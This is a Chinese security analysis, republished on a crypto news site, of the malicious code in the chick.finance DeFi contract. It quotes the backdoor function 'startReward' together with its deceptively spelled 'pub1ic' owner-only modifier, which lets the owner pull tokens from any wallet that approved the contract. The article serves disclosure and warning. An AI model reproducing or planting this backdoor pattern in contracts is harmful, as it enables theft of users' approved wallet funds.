就在刚刚,YFII 通报了 chick.finance 合约代码的风险,不过其中提到的“用户充值的所有代币,开发者都有权限提取”这句话其实并不是完全准确的,因此在这里我们需要给大家做下更详细的描述: 该合约恶意代码的问题并不在于“开发者事发后能提取用户存在合约中的代币”(开发者本来就能干这事儿),而在于对于任何给该合约授权了的用户,开发者都能把你钱包里的代币一扫而空(不仅仅是你存入合约的),这正是比特派安全实验室在之前的那篇《以太坊 Defi 生态当前最大的安全隐患》一文中提到的“滥用合约授权问题”。 恶意代码是如下这段: function startReward(address _from, uint256 amount) external pub1ic{ weth.safeTransferFrom(_from, owner(), amount); } 开发者对故意拼写错误的 pub1ic 做了如下约束(也就是只有合约 Owner 才能调用,如果没这个调用,那就变成谁都能干这事儿了,开发者想的是自己偷,肯定不想让别人偷) modifier pub1ic() { require(isOwner(), "Ownable: caller is not the owner"); _; } 上述代码的逻辑很简单,干的就是那些给这个合约授权了的用户,合约 Owner 都能把你的代币转给 Owner,就这么简单。 这其实是 DeFi 生态里非常严重的恶性事件,理应引起全行业的重视,因为这次可能恶意开发者只是用拼写错误的方式来试图蒙骗大家(把 public 写成 pub1ic),然后很幸运的第一时间被发现了,那下次呢?是不是可以写出逻辑复杂并且很难被看出来的漏洞,静静的等待上线把各位的钱包一扫而空呢?要再次强调的是,这个例子中,您损失的可不仅仅是您存入合约的资产,而是你钱包里的全部资产,明白了吗? 我们之前在向全行业提出“滥用合约授权”问题的时候,就曾预计到可能会有开发者作恶的情况出现,没想到这一天来的这么快,这次代码伪装的比较蠢,那下次呢?下次 DeFi 矿工们是否还能躲得过去了呢 —- 编译者/作者:bitpieteam 玩币族申明:玩币族作为开放的资讯翻译/分享平台,所提供的所有资讯仅代表作者个人观点,与玩币族平台立场无关,且不构成任何投资理财建议。文章版权归原作者所有。 |
关于DeFi流动性挖矿项目chick.finance恶意合约代码的详细分析
2020-08-25 bitpieteam 来源:区块链网络
LOADING...
相关阅读:
- 拉地毯:DeFi投资炒作助长了加密货币出口骗局2020-08-25
- DeFi就像ICO的繁荣一样,监管机构也在盘旋2020-08-25
- 8/25凌晨以太坊行情分析凡事尽心尽力人生便可无怨无悔2020-08-25
- 华为构建区块链平台,使北京政府可以更好地管理人们的数据2020-08-25
- Algorand价格分析-由于协议升级使该项目重新成为人们的关注焦点,ALGO多2020-08-25